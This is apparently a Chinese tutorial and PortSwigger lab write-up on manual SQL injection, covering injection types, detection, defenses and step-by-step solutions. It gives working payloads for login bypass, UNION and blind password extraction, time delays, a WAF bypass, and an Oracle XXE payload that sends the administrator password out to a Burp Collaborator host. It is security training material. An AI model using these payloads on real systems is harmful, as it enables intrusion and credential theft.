SQL注入手工注入portswigger labs练习
1 什么是SQL注入
SQL注入(SQL Injection)是指Web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在Web应用程序中事先定义好的查询语句的结尾后添加额外的SQL语句,在管理员不知情的情况下实现非法操作。以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。
简单来讲就是:攻击者通过构造恶意的SQL语句来实现对数据库的操作。
两个条件:
-
参数用户可控:用户能够控制数据的输入
-
构造的参数可带入数据库并且被执行:原本要执行的sql语句拼接了用户的输入
2 QL注入会发生在哪些地方
以下是一些常见的SQL注入发生地点:
-
用户输入:这是最常见的SQL注入来源,包括一些表单字段如登录表单、搜索框、注册表单等。
-
URL参数:通过修改URL的查询参数,攻击者可以尝试对数据库进行注入攻击。
-
Cookie:Web应用程序会使用Cookie来存储用户会话信息,就可能被用来执行SQL注入。
-
HTTP头部:有些Web应用程序可能会根据HTTP请求头部字段(如User-Agent、Referer等)中的信息来构建SQL查询。
-
XML输入:有些Web应用程序会使用XML或其他进行数据交换,如果没有正确处理输入数据,就可能被用来执行SQL注入。
3 QL注入的类型有哪些
按照数据类型来分类:
- 数字型注入
类似结构http://xxx.com/xxx.php?id=1
这种形式,参数id
类型为数字。
这一类的SQL语句原型大概为select * from table_name where id=1
,如果存在注入,可以构造出类似下面的sql注入语句进行注入:
select * from table_name where id=1 or 1=1
- 字符型注入
类似结构http://xxx.com/xxx.php?name=admin
这种形式,参数name
类型为字符类型。
这一类的SQL语句原型大概为select * from table_name where name='admin'
,这里相比于数字型注入的sql语句多了引号,可以是单引号或者是双引号,可以构造出类似下面的sql注入语句进行注入:将后引号闭合
select * from table_name where name='admin' or 1=1'
按照数据提交的方式来分类:
- GET 注入
使用GET方式提交数据,注入点的位置在GET参数部分。
- POST 注入
使用POST方式提交数据,注入点位置在POST数据部分。
- Cookie 注入
HTTP请求的时候会带上客户端的Cookie, 注入点位置在Cookie当中的某个字段中。
- HTTP 头部注入
注入点在HTTP请求头部的某个字段中,例如Referrer字段。(严格的讲,Cookie其实应该也是算头部注入的一种形式)
按照执行效果来分类:
- 基于布尔的盲注
即可以根据返回页面判断条件真假的注入。
- 基于时间的盲注
即用条件语句查看时间延迟语句是否执行(即页面返回时间是否延长)来判断。
- 基于报错注入
即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
- 联合查询注入
可以使用union查询的情况下的注入。
- 堆查询注入
可以同时执行多条语句的执行时的注入。
- 宽字节注入
数据库编码与php编码设置为不同的两个编码,这样就可能会产生宽字节注入。
4 QL注入点如何探测
在输入字段中尝试输入特殊的SQL字符,如果应用程序返回了数据库错误信息,或者异常,可能就意味着存在SQL注入漏洞。
只要是带有参数的动态网页并且该网页访问了数据库,那么就有可能存在 SQL 注入:
-
先加单引号
'
或双引号"
等看是否报错,如果报错就有可能存在SQL注入漏洞。 -
另外在URL后面加
and 1=1
、and 1=2
看页面是否显示一致,显示不一致的话,肯定存在SQL注入漏洞。 -
还有就是利用盲注,通过观察数据库响应时间或者不同响应来推断查询的真假。
5 QL注入的一般步骤
1. 注入点探测
- 可控参数的改变是否可以影响页面的显示结果
- 输入的sql语句能报错:通过数据库的报错,看到数据库的一些语句痕迹
- 输入的sql语句不报错:语句能够成功闭合
2. 信息获取
- 环境信息:数据库类型、数据库版本、操作性系统版本、用户信息等
- 数据库信息:数据库名、数据库表、字段、字段内容
3. 权限获取
- 编写webshell,上传木马,获取操作系统权限
6 QL注入的防御
1. 采用预编译技术
例如:INSERT INTO MyGuests (firstname, lastname, email) VALUES(?, ?, ?);
使用预编译的SQL语句,SQL语句的语义是不会发生改变的。攻击者无法改变SQL语句的结构,只是把值赋给?
,然后将?
这个变量传给SQL语句。
2. 严格控制数据类型
强类型语言一般是不会存在数字型注入,因为在接受到用户输入id时,代码会做数据类型转换。但是没有强调处理数据类型的语言,一接收id的代码可能会是这样:
$id = $_GET['id'];
$SQL = "select * from '某字段' where id = $id;";
加入一个检查数字类型函数,php中的is_numeric()
就可以有些防止数字型注入。
3. 对特殊的字符进行转义
在MySQL中对引号" '
进行转义,这样可以防止一些恶意攻击者来闭合语句。
4. 使用存储过程
使用存储过程的效果和使用预编译语句类似,其区别就是存储过程需要先将sql语句定义在数据库中。(尽量避免在存储过程内使用动态的sql语句)
7 SQL注入前需要了解的
查询数据库以确定其类型和版本
主流数据库提供如下方式来确定数据库版本:
数据库 | SQL语句 |
---|---|
MySQL/Microsoft | SELECT @@version |
Oracle | SELECT * FROM v$version |
PostgreSQL | SELECT version() |
列出数据库的内容
查看数据库中都有哪些表:
数据库 | SQL语句 |
---|---|
MySQL/Microsoft/PostgreSQL | SELECT * FROM information_schema.tables |
Oracle | SELECT * FROM all_tables |
查看这个表都有哪些列:
数据库 | SQL语句 |
---|---|
MySQL/Microsoft/PostgreSQL | SELECT * FROM information_schema.columns WHERE table_name = '表名' |
Oracle | SELECT * FROM all_tab_columns WHERE table_name = '表名' |
SQL语句的注释
注释可以用来截断查询,并去掉原始查询中输入之后的部分
数据库 | 单行注释 |
---|---|
MySQL/Microsoft/PostgreSQL | -- |
MySQL | #( -- 两个短横线后必须有空格,可以写成--+) |
字符串拼接
可以将多个字符串连接在一起形成一个字符串:
数据库 | 方式 |
---|---|
MySQL | concat('str1','str2') |
Microsoft | 'str1'+'str2' |
Oracle/PostgreSQL | 'str1'||'str2' |
取子字符串
取字符串的一部分,函数第一个参数是偏移索引,第二个参数是偏移量,以下结果都为字符a:
数据库 | 函数 |
---|---|
Oracle | SUBSTR('abc',1,1) |
Microsoft/PostgreSQL/MySQL | SUBSTRING('abc',1,1) |
关于MySQL数据库
字段 | 含义 |
---|---|
information_schema.tables | 包含了数据库里所有的表 |
table_name | 表名 |
table_schema | 数据库名 |
column_name | 字段名 |
8 场训练 portswigger labs
地址:All labs | Web Security Academy (portswigger.net)
工具:火狐浏览器配合Hackbar,Burp Suite
8.1 WHERE子句中存在允许检索隐藏数据
SQL injection vulnerability in WHERE clause allowing retrieval of hidden data
提示当用户选择一个类别时,应用程序执行如下SQL查询:
SELECT * FROM products WHERE category = 'Gifts' AND released = 1
category参数可以被注入,这是一个字符型注入,尝试' or 1=1 --
,注入成功。
'
闭合了引号,or 1=1
使where子句成立,--
注释使得后面的released = 1
失效,注入后的SQL查询:
SELECT * FROM products WHERE category = '' or 1=1 -- ' AND released = 1
结果就是从products表中查询出所有数据。
8.2 允许绕过登录
SQL injection vulnerability allowing login bypass
这是SQL注入漏洞中的一个经典问题,“万能用户名”,无论密码填什么或者不填都可以成功登录。
和上一题的套路类似,输入用户名和密码,程序可能执行如下SQL查询:
SELECT * FROM 用户表 WHERE username = '用户名' AND password = '密码'
如果在输入用户名的地方输入administrator' or 1=1 --
,where子句中的 or 1=1
会使查询条件成立,--
注释掉后面的密码,就可以绕过登录。
8.3 在Oracle上查询数据库类型和版本
SQL injection attack, querying the database type and version on Oracle
tips:可以先做8.7 ~8.10,官方题目的顺序有一点奇怪。
Oracle查询数据库版本:SELECT banner FROM v$version;
注入点仍是category这个参数,通过注入 ' order by 1 --
来判断数据库表有几列,当试到第三列的时候页面出错了,说明只有两列。
接下来尝试使用union联合查询来判断前两列的回显情况。在Oracle数据库中,每条select语句都必须指定一个表才能查询。如果union select无需从表中进行查询,那么仍然需要使用from关键字和有效的表名。(Oracle上有一个内置的表叫做dual)
判断出两列都可以回显字符
' union select 'aaaaaaaaa','bbbbbbbbbbbbbbb' from dual --
在有回显的地方替换一下,' union select banner,'bbbbbbbbbbbbbbb' from v$version --
8.4 在MySQL和Microsoft上查询数据库类型和版本
SQL injection attack, querying the database type and version on MySQL and Microsoft
MySQL和Microsoft上查询数据库版本:SELECT @@version;
通过注入 ’ order by 1 --
判断出数据库表只有两列,然后使用union查询判断前两列的回显情况,均可回显字符,事实是只需要用到一个。
MySQL数据库和Oracle数据库不同的是,使用union查询无需指定表,所以' union select @@version,null --
即可。(当不知道数据类型是可以用null替代)。
8.5 列出非oracle数据库上的数据库内容
SQL injection attack, listing the database contents on non-Oracle databases
依然是通过 order by
判断出数据库表的列数,然后使用union查询判断前两列的回显情况。
有了可以利用的基本条件以后,接下来就需要判断是哪种数据库了,尝试使用select @@version
失败,然后使用' union select version(),null --
注入成功了,探测到数据库为PostgreSQL,select version()
也是PostgreSQL的特征之一。
尝试查询数据库有哪些表,和MySQL数据库的查询方式一致 ' union select table_name,null from information_schema.tables --
尝试从页面搜索‘user’,结果发现了一个用户表users_esuztu,然后接着查询users_esuztu表有哪几列,' union select column_name,null from information_schema.columns where table_name='users_esuztu' --
最终拿到用户名和密码两列,从users_esuztu表查中询到了用户名和密码,拿到密码后登录。
8.6 列出Oracle上的数据库内容
PRACTITIONER SQL injection attack, listing the database contents on Oracle
Oracle数据库有所不同,union查询时强制需要加表,可以使用默认表 from dual
。
判断出有两列和回显情况后,尝试查询数据库有哪些表,Oracle的数据表是 all_tables
,表的字段名是TABLE_NAME
。
查询' union select TABLE_NAME,null from all_tables --
,从页面搜索发现存在一个用户表USERS_NNWUHA,继续探测有哪几列,列的字段名是COLUMN_NAME
,所以构造查询' union select COLUMN_NAME,null from all_tab_columns where table_name = 'USERS_NNWUHA' --
拿到用户名和密码两列数据,最终从USERS_NNWUHA表查询到用户名和密码,拿到密码后登录。
8.7 确定查询返回的列数
SQL injection UNION attack, determining the number of columns returned by the query
有两种判断返回的列数的方法:可以用order by
和union
-
输入
' order by 1 --
,' order by 2 --
,' order by 3 --
,网站正常显示,直到输入了' order by 4 --
,页面出现了错误,这表明试图排序的第4列不存在,也就是说只有3列。 -
输入
' union select null --
,' union select null,null --
,页面都出现了错误,这表明不只有一两列存在,' union select null,null,null --
页面正常显示,这说明是有三列数据存在。
8.8 查找包含文本的列
SQL injection UNION attack, finding a column containing text
目的是找出哪一列的数据类型是字符串,为后续提供数据回显。本题枚举order by
得知总共有3列数据存在。
然后查询union select 'a',null,null --
,替换字母a
在三个参数的位置,判断出第二列回显字符正常。
借助参数中替换字符串数据,得知与哪列相匹配,错误的话,说明不是字符串类型的,成功说明数据类型是字符串。
所以可以在判断完有几列后,直接一上来就两列都改成字母测试(null会自动换位为任意的数据类型)。
判断出第二列回显字符,最后最后替换文中所给的字符串即可成功。
8.9 从其他表中检索数据
SQL injection UNION attack, retrieving data from other tables
本题提示,数据库中还有另一张表名为users,其中包含username和password列。
判断出注入点,union查询判断出数据表有两列并且都回显,直接可以查询users表中的用户名和密码' union select username,password from users --
然后点击账户输入拿到的密码登录成功。
8.10 在单列中获取多个值
SQL injection UNION attack, retrieving multiple values in a single column
本题提示,数据库中还有另一张表名为users,其中包含username和password列。
判断出注入点,union查询判断出数据库表有两列,但是只有第二列回显' union select null,'aaa' --
,那么可以借助第二列的回显,分别查询用户名和密码。
分别查询有一点繁琐,我们可以将用户名和密码拼接在一起,一同从这一列查询出来。
不同数据库的字符串拼接方式是不同的,所以需要先来判断一下是哪一种数据库。查询' union select null,@@version --
失败,排除MySQL和Microsoft的数据库;查询' union select null,version() --
成功,说明是PostgreSQL数据库。
PostgreSQL的字符串连接是||
,将用户名和密码通过@
分割方便区分,可以这样查询' union select null,username || '@' || password from users --
,拿到密码后登录。
8.11 带有条件响应的盲注
Blind SQL injection with conditional responses
当程序响应不包含相关SQL查询的结果,或任何数据库错误的信息时,就称为盲注。
UNION查询对于盲注是无效的,因为它依赖于在响应中看到注入查询的结果。
本题提示,应用程序使用跟踪cookie进行分析,并执行包含提交的cookie值的SQL查询。如果查询返回任何行,应用程序会在页面中包含一条“Welcome back!”消息。
使用burp抓一个包来看看,看到一个TrackingId,根据提示,这个cookie值会被带入SQL查询,尝试注入这个cookie值' and 1=1 --
,出现了“Welcome back!”,说明查询结果为真。
现在尝试注入' and 1=2 --
,因为注入的条件为假,没有出现“Welcome back!”。
现在发现根据注入条件的真假,页面就有不同的反馈,这就有利用价值了。能够确定每次单个注入条件的正确与否,这样可以一点一点猜我们想要的内容,这也就是所谓的“盲注”。
题目已知有一个名为users的表,有username和password两列,以及一个名为 administrator的用户。
可以尝试判断出用户的密码的长度,但是这样直接在length()函数中select password的方式' and length(select password from users where username='administrator') > 1 --
不可取。
这是官方解法提供的注入方式:' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>1)='a
只需要每次改变length大于的数就可以枚举出来密码长度,使用burp的intruder模块就可以实现快速的爆破。
将每次需要改的长度设为变量。
将payload类型选为数字,从1到100,步长为1。
结果显示当payload为20时,数据包的length发生了改变,说明页面发生了变化,可以确定密码的长度为20。
现在要确定密码每一位的字符具体是什么,这里需要用到一个函数,SUBSTRING(password,m,n)
,password是字段名,m是检索的起始位置,n是数量。
尝试注入' and (select SUBSTRING(password,1,1) from users where username='administrator')='a'--
意为判断password的第一个字符。依然是使用intruder模块,因为需要爆破的位置有两个,选择Cluster bomb模式,对位置和该位置上的字符同时爆破。这是两个字典的笛卡尔积遍历,请求数据包的数量会较多。
第一个参数是字符的位置,所以将payload1类型选为数字,从1到20,步长为1。
第二个参数是该位置上的字符,可能是a-z,A-Z,0-9,可以点击Add from list选择需要的payload。
attack后,使用Filter过滤“Welcome back”,就刚好得到了20个包,对payload1从小到大排序后,payload2自上而下对应的就是密码。
登录成功!
8.12 带有条件错误的盲注
Blind SQL injection with conditional errors
根据题目提示,和上一题类似,如果SQL查询导致错误,则应用程序返回自定义错误消息。
仍然是从cookie入手,加上一个单引号'
,服务器返回500错误,这可能是SQL语句引号没有闭合导致出现错误。
现在让引号可以正常闭合,但查询条件错误' and 1=2 --
,服务器返回的是200成功。所以有理由怀疑,只有当SQL语法出现错误时才会使服务器返回500错误。
来看看官方的解法:
You now need to confirm that the server is interpreting the injection as a SQL query i.e. that the error is a SQL syntax error as opposed to any other kind of error. To do this, you first need to construct a subquery using valid SQL syntax.
尝试提交:TrackingId=xyz'||(SELECT '')||'
注入'||(SELECT '')||'
,这看起来也是一个错误的语法(不太懂)。
官方指出:In this case, notice that the query still appears to be invalid. This may be due to the database type - try specifying a predictable table name in the query
查询一个特殊的表:'||(SELECT '' FROM dual)||'
,服务器返回200成功。
这个查询是成功的,这表明数据库是Oracle。
现在来验证以下,查询一个不存在表来试一试,服务器果然返回500错误,这证明服务器可以返回查询结果的真和假了,那么现在就可以开始利用了。
不同数据库,测试单个布尔条件并在条件为真时触发数据库错误。
其中的CASE表达式可以在SQL中实现if-then-else的逻辑判断:
case
when 判断条件 then 条件为真-返回
else 条件为假-返回
end
尝试构造case表达式使SQL查询有条件的出错,可以这样注入来判断密码的长度'||(select case when length(password)>1 then to_char(1/0) else '' end from users where username='administrator' )||'
其中的case表达式作为select的查询:
case
when length(password)>1 then to_char(1/0)
else ''
end
条件是密码长度大于1,返回to_char(1/0),但是1除以0会出错。所以只要出现错误,就说明密码长度大于1的条件是正确的。
现在返回500错误,所以说密码长度大于1的条件是正确。接下来就使用burp的intruder模块爆破密码长度。
和上一题类似,标记变量,选择payload,开始爆破。最后发现密码长度为20。
确认密码,使用SUBSTR()函数从密码中提取单个字符'||(select case when substr(password,1,1)='a' then to_char(1/0) else'' end from users where username='administrator')||'
依旧是爆破两个变量,分别标记变量后,选择payload,开始爆破。从结果中过滤出出返回状态码为5xx的,刚好20个,拿到密码后登录。
关键在于要判断出是何种数据库,不同的数据库注入的方法都是不同的。
8.13 基于报错的SQL注入
Visible error-based SQL injection
根据题目提示,还是从cookie入手,加一个'
,可以看到详细报错信息,加上注释' --
,页面恢复正常。
可以考虑一些函数的报错,函数的报错结果一般会有意外的惊喜。参照题解,本题是CAST函数。
CAST()是PostgreSQL数据库用于将某种数据类型的表达式显式转换为另一种数据类型的函数。
CAST (expression AS data_type)
expression:任何有效的表达式。
AS:用于分隔两个参数,在AS之前的是要处理的数据,在AS之后是要转换的数据类型。
利用CAST尝试构造and 1=cast((select 1) as int) --
,将查询的1转换为数字1,再与数字1比较,两个都是数字类型,所以不会报错。
尝试查询非数字类型转换为数字类型是否会报错' and 1=cast((select 'aaaaaa') as int)--
,这里报错显示了我们select查询的内容,现在可以开始利用了。
尝试查询users表中的用户名' and 1=cast((select username from users) as int)--
,报错显示返回的数据超过一行。
尝试限制查询一行' and 1=cast((select username from users limit 1) as int)--
,爆出了一个用户名,恰好是admin用户。
尝试利用这种方式爆出users表中admin用户的密码。
这是一种基于CAST函数的报错注入,还有很多其他函数可以报错注入。
8.14 时间延时盲注
Blind SQL injection with time delays
不同数据库的延时函数:
根据前几题的经验这题可能依旧是PostgreSQL数据库,反复尝试注入'||pg_sleep(10)--
,确定延时大概是10秒。
burp放包以后,解题成功。
8.15 具有时间延迟和信息检索的盲注
Blind SQL injection with time delays and information retrieval
还是从cookie入手,盲猜依旧是PostgreSQL数据库时间延时盲注'||pg_sleep(10)--
。确定大概延时了10秒钟。
尝试构造CASE表达式,根据延时结果来判断查询结果是否正确。
判断密码的长度''%3BSELECT+CASE+WHEN+(username='administrator'+AND+LENGTH(password)>1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users-
采用burp的intruder模块,由于延时盲注的数据包大小都是一致的,所以看包的请求时间Response received来区分。当length大于20时,请求时间变为200ms,说明when条件错误,判断出密码长度为20.
判断密码的每个字符''%3BSELECT+CASE+WHEN+(username='administrator'+AND+SUBSTRING(password,1,1)='a')+THEN+pg_sleep(5)+ELSE+pg_sleep(0)+END+FROM+users--
采用burp的intruder模块,爆破两个变量,分别标记变量后,选择payload,开始爆破。之后对结果的请求时间排序,看到20个请求时间大于5000ms的包,可以得出密码。
burp延时盲注耗时会长一些,具体操作过程和之前几乎一样。
8.16 带外交互的盲注
Blind SQL injection with out-of-band interaction
题目提示,可以与外部域触发带外交互,利用SQL注入漏洞并导致DNS查询。
这里需要引入一个新的概念:带外应用安全测试(OAST),OSAT是使用外部服务器来帮助我们来查看无回显的漏洞。
通常我们在整个测试过程中,是在一个单条通信的通道,中间没有其外部的服务器参与,只有自己和目标服务器,这种称为“带内攻击(in-band attack)”。如果需要使用外部的独立服务器参与,也就是带入了外部的服务器,我们叫它“带外攻击(out-band attack)”。
外带攻击过程如上图,攻击者发出payload的请求后并不会直接返回,而是携带着payload执行后的响应与攻击者的带外服务器产生交互。攻击者监视外带服务器与目标服务器的交互信息,从而发现漏洞。
本题使用 Burp Collaborator 作为带外服务器。
Burp Collaborator的工作原理:生成唯一的域名,将它们以有效payload的形式发送到目标服务器,然后监视与这些域的全部交互。如果观察到来自目标服务器的传入请求,那么就可以检测到对应的漏洞。
这题首先准备一个带外服务器,点击Burp选择BurpBurp Collaborator client,点击Copy to clipborad,得到Burp提供的一个带外服务器的域名,类似这样e2h5doyf212aqmcx5om2kgbe75dv1k.burpcollaborator.net
外带服务器准备还好后尝试注入,参照 cheat sheet
其中提供了多种用于DNS查找的payload,尝试几种之后,确定是Oracle数据库。替换payload中域名的部分:x'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//e2h5doyf212aqmcx5om2kgbe75dv1k.burpcollaborator.net/">+%25remote%3b]>'),'/l')+FROM+dual--
这是一个XXE触发的DNS查找漏洞,这里extractvalue函数是一个对xml文件进行查询的函数,它是会从目标xml文件中返回所包含查询值的字符串。
Burp Collaborator客户端看到了DNS查找时的带外数据。
8.17 带外数据漏出的盲注
Blind SQL injection with out-of-band data exfiltration
本题依然是一个带外攻击,和上一题的思路一致,首先准备带外服务器,依然使用Burp Collaborator。参照cheat sheet准备带外数据的payload:'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//'||(SELECT+password+FROM+users+WHERE+username%3d'administrator')||'.7v3xoqzeddln82o8t9wltnb29tfj38.burpcollaborator.net/">+%25remote%3b]>'),'/l')+FROM+dual--
和上一题有所不同的是,在带外服务器域名的前面加上了'||(SELECT password FROM users WHERE username='administrator')||'.
这是一个有效SQL查询,这个查询结果会被DNS查找域名时给带出。
可以看到密码被拼接到域名的前面被带出来了。
8.18 通过XML编码绕过过滤器
本题需要装一个Burp扩展Hackvertor,Hackvertor是一个具有基于标签转换功能的编码器。通过标签的转换编码,可以将编码后的内容传递给下一个外部标签,从而执行多级编码操作。
本题需要绕过一个WAF,所以需要使用Hackvertor工具编码来绕过。
直接来分析结果,具体为啥这样注入我还不太懂/(ㄒoㄒ)/~~
注入点在<storeId></storeId>
这个标签里面,若直接写SQL语句会被WAF拦截。
将包发送到Hackvertor,选择dec_entities编码,会产生如下效果:
<@dec_entities>
1 UNION SELECT username || '|' || password FROM users
<@/dec_entities>
在SQL语句的外面套一层<@dec_entities><@/dec_entities>
标签,SQL全部被编码为十进制数,这样不会被WAF检测到,从而绕过WAF。
参考writeup:Write-up: SQL injection with filter bypass via XML encoding @ PortSwigger Academy
参考文章:
SQL注入备忘单 SQL injection cheat sheet
SQL injection cheat sheet
PortSwigger Web Security Academy lab SQL注入
portswigger labs sql注入之探测数据库信息
portswigger lab Blind SQL injection sql盲注
若有错误,欢迎指正!o( ̄▽ ̄)ブ